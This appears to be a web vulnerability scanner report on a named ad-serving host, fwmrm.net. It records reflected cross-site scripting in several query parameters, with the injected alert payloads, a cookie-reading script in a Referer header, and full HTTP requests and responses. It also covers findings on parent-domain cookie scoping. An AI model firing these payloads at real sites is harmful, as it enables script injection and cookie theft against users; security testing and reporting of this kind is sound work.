GET /ad/g/1?nw=11575&pvrn=4532419fc5b"%3balert(1)//bae0fdeacfc&ssid=60324&resp=ad;qcseg=D&qcseg=T;ptgt=s&envp=g_js&slid=970_90_Slot&w=970&h=90&cd=970,66|728,90 HTTP/1.1 Host: 2d37.v.fwmrm.net Proxy-Connection: keep-alive Referer: http://www.thewb.com/shows/the-middle-on-dvd?ce6aa%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E60fb3d0b4b3=1 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: _cph="1295039779.438.1.1,"; _uid="a104_5562153497824379009"; _auv="g23001~1.1295482477.0,13310.1295482477.0,^"; _vr="1295482435..60536~60671~66149~103579~170504~173095~306401~,"; _sc="sg23001.1295482428.1295482477.28800.0.21,"; _wr="g23001"
The value of the slid request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 3eab5'%3balert(1)//f52e317c1e3 was submitted in the slid parameter. This input was echoed as 3eab5';alert(1)//f52e317c1e3 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /ad/g/1?nw=11575&pvrn=453241&ssid=60324&resp=ad;qcseg=D&qcseg=T;ptgt=s&envp=g_js&slid=970_90_Slot3eab5'%3balert(1)//f52e317c1e3&w=970&h=90&cd=970,66|728,90 HTTP/1.1 Host: 2d37.v.fwmrm.net Proxy-Connection: keep-alive Referer: http://www.thewb.com/shows/the-middle-on-dvd?ce6aa%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E60fb3d0b4b3=1 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: _cph="1295039779.438.1.1,"; _uid="a104_5562153497824379009"; _auv="g23001~1.1295482477.0,13310.1295482477.0,^"; _vr="1295482435..60536~60671~66149~103579~170504~173095~306401~,"; _sc="sg23001.1295482428.1295482477.28800.0.21,"; _wr="g23001"
The value of the slid request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload be9b2"%3balert(1)//b82cbe6851a was submitted in the slid parameter. This input was echoed as be9b2";alert(1)//b82cbe6851a in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /ad/g/1?nw=11575&pvrn=453241&ssid=60324&resp=ad;qcseg=D&qcseg=T;ptgt=s&envp=g_js&slid=970_90_Slotbe9b2"%3balert(1)//b82cbe6851a&w=970&h=90&cd=970,66|728,90 HTTP/1.1 Host: 2d37.v.fwmrm.net Proxy-Connection: keep-alive Referer: http://www.thewb.com/shows/the-middle-on-dvd?ce6aa%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E60fb3d0b4b3=1 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: _cph="1295039779.438.1.1,"; _uid="a104_5562153497824379009"; _auv="g23001~1.1295482477.0,13310.1295482477.0,^"; _vr="1295482435..60536~60671~66149~103579~170504~173095~306401~,"; _sc="sg23001.1295482428.1295482477.28800.0.21,"; _wr="g23001"
(function(){ var pht = !!(''); var psd = window._fw_link_tag_scan_delay || 1*''; var mkv = !(''); if (isNaN(psd)) psd = 0; var am = function(f) { try { return f._fw_admanager && (f._fw_admanager.load ...[SNIP]... _urls = []; var u = "http://2d37.v.fwmrm.net/ad/g/1?nw=11575&asid=-1&asnw=&caid=&ssid=60324&ssnw=&csid=&sfid=&cdid=&pvrn=453241&vprn=&vip=173.193.214.243&vdur=;qcseg=D&qcseg=T&;ptgt=s&slid=970_90_Slotbe9b2";alert(1)//b82cbe6851a&envp=g_js&w=970&h=90&lo=&cd=970,66|728,90"; if (document.addEventListener) { document.addEventListener( "DOMContentLoaded", e, false ); document.addEventListener( "load", e, false ); } else if ( ...[SNIP]...
The value of the ssid request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 9de67"%3balert(1)//b0e9d0841ca was submitted in the ssid parameter. This input was echoed as 9de67";alert(1)//b0e9d0841ca in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /ad/g/1?nw=11575&asid=-1&asnw=&caid=&ssid=603249de67"%3balert(1)//b0e9d0841ca&ssnw=&csid=&sfid=&cdid=&pvrn=453241&vprn=&vip=173.193.214.243&vdur=&resp=smrx&crtp=ptiling&vclr=JS-pt-r3310;qcseg=D&qcseg=T&;prct=text%2Fhtml_lit_js_wc_nw&ptgt=s&slid=970_90_Slot&envp=g_js&w=970&h=90&lo=&cd=970,66|728,90&flag=+cmpn;prct=text%2Fhtml_lit_js_wc_nw&ptgt=s&slid=300_250_SlotATF&envp=g_js&w=300&h=250&lo=&flag=+cmpn;prct=text%2Fhtml_lit_js_wc_nw&ptgt=s&slid=300_250_SlotBTF&envp=g_js&w=300&h=250&lo=&flag=+cmpn HTTP/1.1 Host: 2d37.v.fwmrm.net Proxy-Connection: keep-alive Referer: http://www.thewb.com/shows/the-middle-on-dvd?ce6aa%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E60fb3d0b4b3=1 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: _cph="1295039779.438.1.1,"; _uid="a104_5562153497824379009"; _auv="g23001~1.1295482477.0,13310.1295482477.0,^"; _vr="1295482435..60536~60671~66149~103579~170504~173095~306401~,"; _sc="sg23001.1295482428.1295482477.28800.0.21,"; _wr="g23001"; NSC_ozdbewjq3.gxnsn.ofu=ffffffff09091f3245525d5f4f58455e445a4a423209
Response
HTTP/1.1 200 OK Set-Cookie: _sid="c001_5566609199976330959";domain=.fwmrm.net;path=/; Set-Cookie: _uid="a104_5562153497824379009";expires=Thu, 26 Jan 2012 21:26:43 GMT;domain=.fwmrm.net;path=/; Set-Cookie: _pr="1296077203.453241.209169~209170~304586~304587~304588~,1296077170.603212.209169~209170~,1296072854.6142.209169~209170~,1296072736.9457.209169~209170~,1296072634.459.209169~209170~,";expires=Fri, 25 Feb 2011 21:26:43 GMT;domain=.fwmrm.net;path=/; Set-Cookie: _sc="sg11611.1296077203.1296077203.28800.0.0,";expires=Fri, 25 Feb 2011 21:26:43 GMT;domain=.fwmrm.net;path=/; Set-Cookie: _wr="g11611";expires=Fri, 25 Feb 2011 21:26:43 GMT;domain=.fwmrm.net;path=/; X-FW-Power-By: Smart Content-Type: text/javascript; charset=UTF-8 Pragma: no-cache Vary: Accept-Encoding Date: Wed, 26 Jan 2011 21:26:42 GMT Server: FWS P3P: policyref="http://www.freewheel.tv/w3c/p3p.xml",CP="ALL DSP COR NID" Set-Cookie: NSC_okcbewjq1.gxnsn.ofu=ffffffff09091c0e45525d5f4f58455e445a4a423208;path=/;httponly Content-Length: 20914
(function() { var parseResponse = function(resp) { if (window.console) console.log("RESPONSE %o", resp); try { if (!resp.ads || !resp.siteSection) return; var crs = {}; var ads = resp.ad ...[SNIP]... <\/span>\n" }]} }]} }]} }]} }]} }]} }]} }], "siteSection":[ {id:"603249de67";alert(1)//b0e9d0841ca", pageViewRandom:"453241", _:{ "videoPlayer":[ {_:{ "videoAsset":[ {id:"-1", _:{ "adSlots":[ {_:null }]} }]} }], "adSlots":[ {_:{ "a ...[SNIP]...
The value of the vip request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 87c03"%3balert(1)//86af87652b8 was submitted in the vip parameter. This input was echoed as 87c03";alert(1)//86af87652b8 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /ad/g/1?nw=11575&asid=-1&asnw=&caid=&ssid=60324&ssnw=&csid=&sfid=&cdid=&pvrn=453241&vprn=&vip=173.193.214.24387c03"%3balert(1)//86af87652b8&vdur=;qcseg=D&qcseg=T&;ptgt=s&slid=970_90_Slot&envp=g_js&w=970&h=90&lo=&cd=970,66|728,90 HTTP/1.1 Host: 2d37.v.fwmrm.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: _cph="1295039779.438.1.1,"; _sid="a115_5566589151069306229"; _sc="sg11951.1296072535.1296076541.28800.2377.0,"; _auv="g11951~5.1296076541.0,12670.1296075237.880,12671.1296076541.0,^"; _pr="1296076540.8163.209169~209170~,1296076434.7120.209169~209170~,1296076334.4450.209169~209170~,1296076263.3972.209169~209170~,1296076138.3959.209169~209170~,1296076027.4830.209169~209170~,1296075922.4171.209169~209170~,1296075822.3611.209169~209170~,1296075754.4614.209169~209170~,1296075621.9008.209169~209170~,1296075510.8419.209169~209170~,1296075405.9586.209169~209170~,1296075304.8942.209169~209170~,1296075235.1965.209169~209170~,1296075101.798.209169~209170~,1296074990.1228.209169~209170~,1296074859.104.209169~209170~,1296074758.1162.209169~209170~,1296074642.5926.209169~209170~,1296074515.1669.209169~209170~,1296074405.2652.209169~209170~,1296074299.7276.209169~209170~,1296074199.8486.209169~209170~,1296074130.5588.209169~209170~,1296074005.5439.209169~209170~,1296073893.9848.209169~209170~,1296073785.9641.209169~209170~,1296073682.7603.209169~209170~,1296073611.6354.209169~209170~,1296073486.2138.209169~209170~,1296073374.8594.209169~209170~,1296073267.5235.209169~209170~,1296073166.3153.209169~209170~,1296073098.1567.209169~209170~,1296072968.5610.209169~209170~,"; NSC_okcbewjq1.gxnsn.ofu=ffffffff09091c3745525d5f4f58455e445a4a423209; _cvr="1296076529^11575^sg11951~sg11611^0~0^2206.000000~0.000000,"; _uid="a104_5562153497824379009"; NSC_twmbewjq3.gxnsn.ofu=ffffffff09097e5a45525d5f4f58455e445a4a423208; NSC_ozdbewjq3.gxnsn.ofu=ffffffff09091f3245525d5f4f58455e445a4a423209; _wr="g11951"; _vr="1295482435..60536~60671~66149~103579~170504~173095~306401~,";
The value of the vprn request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload eb077"%3balert(1)//fe957cfd92c was submitted in the vprn parameter. This input was echoed as eb077";alert(1)//fe957cfd92c in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /ad/g/1?nw=11575&asid=-1&asnw=&caid=&ssid=60324&ssnw=&csid=&sfid=&cdid=&pvrn=453241&vprn=eb077"%3balert(1)//fe957cfd92c&vip=173.193.214.243&vdur=&resp=smrx&crtp=ptiling&vclr=JS-pt-r3310;qcseg=D&qcseg=T&;prct=text%2Fhtml_lit_js_wc_nw&ptgt=s&slid=970_90_Slot&envp=g_js&w=970&h=90&lo=&cd=970,66|728,90&flag=+cmpn;prct=text%2Fhtml_lit_js_wc_nw&ptgt=s&slid=300_250_SlotATF&envp=g_js&w=300&h=250&lo=&flag=+cmpn;prct=text%2Fhtml_lit_js_wc_nw&ptgt=s&slid=300_250_SlotBTF&envp=g_js&w=300&h=250&lo=&flag=+cmpn HTTP/1.1 Host: 2d37.v.fwmrm.net Proxy-Connection: keep-alive Referer: http://www.thewb.com/shows/the-middle-on-dvd?ce6aa%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E60fb3d0b4b3=1 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: _cph="1295039779.438.1.1,"; _uid="a104_5562153497824379009"; _auv="g23001~1.1295482477.0,13310.1295482477.0,^"; _vr="1295482435..60536~60671~66149~103579~170504~173095~306401~,"; _sc="sg23001.1295482428.1295482477.28800.0.21,"; _wr="g23001"; NSC_ozdbewjq3.gxnsn.ofu=ffffffff09091f3245525d5f4f58455e445a4a423209
Response
HTTP/1.1 200 OK Set-Cookie: _sid="c104_5566609397544889124";domain=.fwmrm.net;path=/; Set-Cookie: _auv="";expires=Fri, 25 Feb 2011 21:27:29 GMT;domain=.fwmrm.net;path=/; Set-Cookie: _pr="1296077249.453241.209169~209170~,1296077238.603212.209169~209170~,1296073098.1567.209169~209170~,1296072968.5610.209169~209170~,1296072854.6142.209169~209170~,1296072736.9457.209169~209170~,1296072634.459.209169~209170~,";expires=Fri, 25 Feb 2011 21:27:29 GMT;domain=.fwmrm.net;path=/; Set-Cookie: _sc="sg11951.1296077249.1296077249.28800.0.0,";expires=Fri, 25 Feb 2011 21:27:29 GMT;domain=.fwmrm.net;path=/; Set-Cookie: _wr="g11951";expires=Fri, 25 Feb 2011 21:27:29 GMT;domain=.fwmrm.net;path=/; X-FW-Power-By: Smart Content-Type: text/javascript; charset=UTF-8 Pragma: no-cache Vary: Accept-Encoding Cneonction: close Date: Wed, 26 Jan 2011 21:27:28 GMT Server: FWS P3P: policyref="http://www.freewheel.tv/w3c/p3p.xml",CP="ALL DSP COR NID" Set-Cookie: NSC_okcbewjq1.gxnsn.ofu=ffffffff09091c3345525d5f4f58455e445a4a423209;path=/;httponly Content-Length: 58594
A cookie's domain attribute determines which domains can access the cookie. Browsers will automatically submit the cookie in requests to in-scope domains, and those domains will also be able to access the cookie via JavaScript. If a cookie is scoped to a parent domain, then that cookie will be accessible by the parent domain and also by any other subdomains of the parent domain. If the cookie contains sensitive data (such as a session token) then this data may be accessible by less trusted or less secure applications residing at those domains, leading to a security compromise.
Issue remediation
By default, cookies are scoped to the issuing domain and all subdomains. If you remove the explicit domain attribute from your Set-cookie directive, then the cookie will have this default scope, which is safe and appropriate in most situations. If you particularly need a cookie to be accessible by a parent domain, then you should thoroughly review the security of the applications residing on that domain and its subdomains, and confirm that you are willing to trust the people and systems which support those applications.
_uid="a104_5562153497824379009";expires=Thu, 26 Jan 2012 20:08:55 GMT;domain=.fwmrm.net;path=/;
_pr="1296072535.453241.209169~209170~,";expires=Fri, 25 Feb 2011 20:08:55 GMT;domain=.fwmrm.net;path=/;
_sc="sg11951.1296072535.1296072535.28800.0.0,";expires=Fri, 25 Feb 2011 20:08:55 GMT;domain=.fwmrm.net;path=/;
_wr="g11951";expires=Fri, 25 Feb 2011 20:08:55 GMT;domain=.fwmrm.net;path=/;
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /ad/g/1?nw=11575&asid=-1&asnw=&caid=&ssid=60324&ssnw=&csid=&sfid=&cdid=&pvrn=453241&vprn=&vip=173.193.214.243&vdur=&resp=smrx&crtp=ptiling&vclr=JS-pt-r3310;qcseg=D&qcseg=T&;prct=text%2Fhtml_lit_js_wc_nw&ptgt=s&slid=970_90_Slot&envp=g_js&w=970&h=90&lo=&cd=970,66|728,90&flag=+cmpn;prct=text%2Fhtml_lit_js_wc_nw&ptgt=s&slid=300_250_SlotATF&envp=g_js&w=300&h=250&lo=&flag=+cmpn;prct=text%2Fhtml_lit_js_wc_nw&ptgt=s&slid=300_250_SlotBTF&envp=g_js&w=300&h=250&lo=&flag=+cmpn HTTP/1.1 Host: 2d37.v.fwmrm.net Proxy-Connection: keep-alive Referer: http://www.thewb.com/shows/the-middle-on-dvd?ce6aa%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E60fb3d0b4b3=1 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: _cph="1295039779.438.1.1,"; _uid="a104_5562153497824379009"; _auv="g23001~1.1295482477.0,13310.1295482477.0,^"; _vr="1295482435..60536~60671~66149~103579~170504~173095~306401~,"; _sc="sg23001.1295482428.1295482477.28800.0.21,"; _wr="g23001"; NSC_ozdbewjq3.gxnsn.ofu=ffffffff09091f3245525d5f4f58455e445a4a423209
Response
HTTP/1.1 200 OK Set-Cookie: _sid="a115_5566589151069306229";domain=.fwmrm.net;path=/; Set-Cookie: _uid="a104_5562153497824379009";expires=Thu, 26 Jan 2012 20:08:55 GMT;domain=.fwmrm.net;path=/; Set-Cookie: _pr="1296072535.453241.209169~209170~,";expires=Fri, 25 Feb 2011 20:08:55 GMT;domain=.fwmrm.net;path=/; Set-Cookie: _sc="sg11951.1296072535.1296072535.28800.0.0,";expires=Fri, 25 Feb 2011 20:08:55 GMT;domain=.fwmrm.net;path=/; Set-Cookie: _wr="g11951";expires=Fri, 25 Feb 2011 20:08:55 GMT;domain=.fwmrm.net;path=/; X-FW-Power-By: Smart Content-Type: text/javascript; charset=UTF-8 Pragma: no-cache Vary: Accept-Encoding Date: Wed, 26 Jan 2011 20:08:55 GMT Server: FWS P3P: policyref="http://www.freewheel.tv/w3c/p3p.xml",CP="ALL DSP COR NID" Content-Length: 58527
(function() { var parseResponse = function(resp) { if (window.console) console.log("RESPONSE %o", resp); try { if (!resp.ads || !resp.siteSection) return; var crs = {}; var ads = resp.ad ...[SNIP]...
The following cookies were issued by the application and is scoped to a parent of the issuing domain:
_uid="a104_5562153497824379009";expires=Thu, 26 Jan 2012 20:09:27 GMT;domain=.fwmrm.net;path=/;
_auv="g11951~5.1296072536.5,12671.1296072536.5,^";expires=Fri, 25 Feb 2011 20:09:27 GMT;domain=.fwmrm.net;path=/;
_cvr="1296072553^11575^sg11951~sg11611^0~0^5.000000~0.000000,";expires=Fri, 25 Feb 2011 20:09:27 GMT;domain=.fwmrm.net;path=/;
_pr="1296072567.603212.209169~209170~,1296072535.453241.209169~209170~,";expires=Fri, 25 Feb 2011 20:09:27 GMT;domain=.fwmrm.net;path=/;
_sc="sg11951.1296072535.1296072567.28800.5.0,";expires=Fri, 25 Feb 2011 20:09:27 GMT;domain=.fwmrm.net;path=/;
_wr="g11951";expires=Fri, 25 Feb 2011 20:09:27 GMT;domain=.fwmrm.net;path=/;
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
The following cookies were issued by the application and is scoped to a parent of the issuing domain:
_uid="a104_5562153497824379009";expires=Thu, 26 Jan 2012 22:12:03 GMT;domain=.fwmrm.net;path=/;
_auv="g11951~5.1296079923.0,12670.1296079923.0,12671.1296076541.0,^";expires=Fri, 25 Feb 2011 22:12:03 GMT;domain=.fwmrm.net;path=/;
_pr="1296079886.603212.209169~209170~,1296079879.453241.209169~209170~,1296079458.3972.209169~209170~,1296079457.3611.209169~209170~,1296079456.4614.209169~209170~,1296079291.7120%00'.209169~209170~,1296079290.7120%2527.209169~209170~,1296079289.8163%2527.209169~209170~,1296079288.7120'.209169~209170~,1296079286.712077ca7%253ca%253e81ef9ae6aac.209169~209170~,1296079276.9008.209169~209170~,1296079261.9586.209169~209170~,1296079204.4450%00'.209169~209170~,1296079203.4450%2527.209169~209170~,1296079202.4450'.209169~209170~,1296079199.4450cd03d%253ca%253ea31afa0d28a.209169~209170~,1296079193.3972%00'.209169~209170~,1296079192.3972%2527.209169~209170~,1296079190.3972'.209169~209170~,1296079187.3972e743e%253ca%253ec33c38c9084.209169~209170~,1296079171.3959%00'.209169~209170~,1296079170.3959%2527.209169~209170~,1296079169.3959'.209169~209170~,1296079167.3959be3bd%253ca%253e235c66d1faa.209169~209170~,1296079163.4171%00'.209169~209170~,1296079161.4171%2527.209169~209170~,1296079160.4171'.209169~209170~,1296076027.4830.209169~209170~,1296075510.8419.209169~209170~,";expires=Fri, 25 Feb 2011 22:12:03 GMT;domain=.fwmrm.net;path=/;
_vr="1296079303..64806~95993~95995~95999~96000~113759~,";expires=Fri, 25 Feb 2011 22:12:03 GMT;domain=.fwmrm.net;path=/;
_sc="sg11951.1296072535.1296079923.28800.2377.0,";expires=Fri, 25 Feb 2011 22:12:03 GMT;domain=.fwmrm.net;path=/;
_wr="g11951";expires=Fri, 25 Feb 2011 22:12:03 GMT;domain=.fwmrm.net;path=/;
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /ad/l/1?s=a115&t=12960726342650311&adid=209170&reid=100797&arid=0&auid=&cn=defaultImpression&et=i&_cc=209170,100797,,11255.11283.11639.,1296072634,1&tpos=&init=1&cr= HTTP/1.1 Host: 2d37.v.fwmrm.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: _cph="1295039779.438.1.1,"; _sid="a115_5566589151069306229"; _sc="sg11951.1296072535.1296076541.28800.2377.0,"; _auv="g11951~5.1296076541.0,12670.1296075237.880,12671.1296076541.0,^"; _pr="1296076540.8163.209169~209170~,1296076434.7120.209169~209170~,1296076334.4450.209169~209170~,1296076263.3972.209169~209170~,1296076138.3959.209169~209170~,1296076027.4830.209169~209170~,1296075922.4171.209169~209170~,1296075822.3611.209169~209170~,1296075754.4614.209169~209170~,1296075621.9008.209169~209170~,1296075510.8419.209169~209170~,1296075405.9586.209169~209170~,1296075304.8942.209169~209170~,1296075235.1965.209169~209170~,1296075101.798.209169~209170~,1296074990.1228.209169~209170~,1296074859.104.209169~209170~,1296074758.1162.209169~209170~,1296074642.5926.209169~209170~,1296074515.1669.209169~209170~,1296074405.2652.209169~209170~,1296074299.7276.209169~209170~,1296074199.8486.209169~209170~,1296074130.5588.209169~209170~,1296074005.5439.209169~209170~,1296073893.9848.209169~209170~,1296073785.9641.209169~209170~,1296073682.7603.209169~209170~,1296073611.6354.209169~209170~,1296073486.2138.209169~209170~,1296073374.8594.209169~209170~,1296073267.5235.209169~209170~,1296073166.3153.209169~209170~,1296073098.1567.209169~209170~,1296072968.5610.209169~209170~,"; NSC_okcbewjq1.gxnsn.ofu=ffffffff09091c3745525d5f4f58455e445a4a423209; _cvr="1296076529^11575^sg11951~sg11611^0~0^2206.000000~0.000000,"; _uid="a104_5562153497824379009"; NSC_twmbewjq3.gxnsn.ofu=ffffffff09097e5a45525d5f4f58455e445a4a423208; NSC_ozdbewjq3.gxnsn.ofu=ffffffff09091f3245525d5f4f58455e445a4a423209; _wr="g11951"; _vr="1295482435..60536~60671~66149~103579~170504~173095~306401~,";
Response
HTTP/1.1 200 OK Set-Cookie: _uid="a104_5562153497824379009";expires=Thu, 26 Jan 2012 22:12:03 GMT;domain=.fwmrm.net;path=/; Set-Cookie: _auv="g11951~5.1296079923.0,12670.1296079923.0,12671.1296076541.0,^";expires=Fri, 25 Feb 2011 22:12:03 GMT;domain=.fwmrm.net;path=/; Set-Cookie: _pr="1296079886.603212.209169~209170~,1296079879.453241.209169~209170~,1296079458.3972.209169~209170~,1296079457.3611.209169~209170~,1296079456.4614.209169~209170~,1296079291.7120%00'.209169~209170~,1296079290.7120%2527.209169~209170~,1296079289.8163%2527.209169~209170~,1296079288.7120'.209169~209170~,1296079286.712077ca7%253ca%253e81ef9ae6aac.209169~209170~,1296079276.9008.209169~209170~,1296079261.9586.209169~209170~,1296079204.4450%00'.209169~209170~,1296079203.4450%2527.209169~209170~,1296079202.4450'.209169~209170~,1296079199.4450cd03d%253ca%253ea31afa0d28a.209169~209170~,1296079193.3972%00'.209169~209170~,1296079192.3972%2527.209169~209170~,1296079190.3972'.209169~209170~,1296079187.3972e743e%253ca%253ec33c38c9084.209169~209170~,1296079171.3959%00'.209169~209170~,1296079170.3959%2527.209169~209170~,1296079169.3959'.209169~209170~,1296079167.3959be3bd%253ca%253e235c66d1faa.209169~209170~,1296079163.4171%00'.209169~209170~,1296079161.4171%2527.209169~209170~,1296079160.4171'.209169~209170~,1296076027.4830.209169~209170~,1296075510.8419.209169~209170~,";expires=Fri, 25 Feb 2011 22:12:03 GMT;domain=.fwmrm.net;path=/; Set-Cookie: _vr="1296079303..64806~95993~95995~95999~96000~113759~,";expires=Fri, 25 Feb 2011 22:12:03 GMT;domain=.fwmrm.net;path=/; Set-Cookie: _cph="";expires=Fri, 25 Feb 2011 22:12:03 GMT;domain=.fwmrm.net;path=/; Set-Cookie: _sc="sg11951.1296072535.1296079923.28800.2377.0,";expires=Fri, 25 Feb 2011 22:12:03 GMT;domain=.fwmrm.net;path=/; Set-Cookie: _wr="g11951";expires=Fri, 25 Feb 2011 22:12:03 GMT;domain=.fwmrm.net;path=/; Content-Type: text/html Content-Length: 0 Pragma: no-cache Date: Wed, 26 Jan 2011 22:12:02 GMT Server: FWS P3P: policyref="http://www.freewheel.tv/w3c/p3p.xml",CP="ALL DSP COR NID"
The following cookies were issued by the application and is scoped to a parent of the issuing domain:
_uid="a104_5562153497824379009";expires=Thu, 26 Jan 2012 20:09:13 GMT;domain=.fwmrm.net;path=/;
_auv="g11951~5.1296072536.5,12671.1296072536.5,^";expires=Fri, 25 Feb 2011 20:09:13 GMT;domain=.fwmrm.net;path=/;
_cvr="1296072553^11575^sg11951~sg11611^0~0^5.000000~0.000000,";expires=Fri, 25 Feb 2011 20:09:13 GMT;domain=.fwmrm.net;path=/;
_pr="1296072535.453241.209169~209170~,";expires=Fri, 25 Feb 2011 20:09:13 GMT;domain=.fwmrm.net;path=/;
_sc="sg11951.1296072535.1296072553.28800.5.0,";expires=Fri, 25 Feb 2011 20:09:13 GMT;domain=.fwmrm.net;path=/;
_wr="g11951";expires=Fri, 25 Feb 2011 20:09:13 GMT;domain=.fwmrm.net;path=/;
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
The following cookies were issued by the application and is scoped to a parent of the issuing domain:
_auv="g11951~5.1296072970.60,12670.1296072568.301,12671.1296072970.60,^";expires=Fri, 25 Feb 2011 21:30:35 GMT;domain=.fwmrm.net;path=/;
_cvr="1296077435^11575^sg11951~sg11611^0~0^322.000000~0.000000,";expires=Fri, 25 Feb 2011 21:30:35 GMT;domain=.fwmrm.net;path=/;
_pr="1296077435.1567.209169~209170~,1296077434.453241.209169~209170~,1296077432.9457cfbe21ce10fa722f7ebeff95.209169~209170~,1296077431.cfbe21cec1b8e9c73c38084b.209169~209170~,1296077426.459cfbe21ce621c2c19fa2a6124.209169~209170~,1296077425.cfbe21ce34b818da01fc9256.209169~209170~,1296074130.5588.209169~209170~,1296074005.5439.209169~209170~,1296073893.9848.209169~209170~,1296073785.9641.209169~209170~,1296073682.7603.209169~209170~,1296073611.6354.209169~209170~,1296073486.2138.209169~209170~,1296073374.8594.209169~209170~,1296073267.5235.209169~209170~,1296073166.3153.209169~209170~,";expires=Fri, 25 Feb 2011 21:30:35 GMT;domain=.fwmrm.net;path=/;
_vr="1296077427..64806~94031~94885~113759~,";expires=Fri, 25 Feb 2011 21:30:35 GMT;domain=.fwmrm.net;path=/;
_sc="sg11951.1296072535.1296077435.28800.306.0,";expires=Fri, 25 Feb 2011 21:30:35 GMT;domain=.fwmrm.net;path=/;
_wr="g11951";expires=Fri, 25 Feb 2011 21:30:35 GMT;domain=.fwmrm.net;path=/;
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
The following cookies were issued by the application and is scoped to a parent of the issuing domain:
_uid="a104_5562153497824379009";expires=Thu, 26 Jan 2012 21:45:16 GMT;domain=.fwmrm.net;path=/;
_pr="1296078316.1162.65013~113760~209169~209170~304586~304587~,1296078315.104.209169~209170~,1296078308.1162cfbe21ce48ff853a5cce7f90.209169~209170~,1296078307.cfbe21ce59110a0fa3154138.209169~209170~,1296078300.2138.209169~209170~,1296078287.6354.209169~209170~,1296073374.8594.209169~209170~,1296073267.5235.209169~209170~,1296073166.3153.209169~209170~,1296073098.1567.209169~209170~,1296072968.5610.209169~209170~,1296072854.6142.209169~209170~,1296072736.9457.209169~209170~,1296072634.459.209169~209170~,1296072567.603212.209169~209170~,1296072535.453241.209169~209170~,";expires=Fri, 25 Feb 2011 21:45:16 GMT;domain=.fwmrm.net;path=/;
_vr="1296078311..64806~94996~95993~113759~,";expires=Fri, 25 Feb 2011 21:45:16 GMT;domain=.fwmrm.net;path=/;
_sc="sg11951.1296072535.1296078316.28800.1437.0,";expires=Fri, 25 Feb 2011 21:45:16 GMT;domain=.fwmrm.net;path=/;
_wr="g11951";expires=Fri, 25 Feb 2011 21:45:16 GMT;domain=.fwmrm.net;path=/;
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
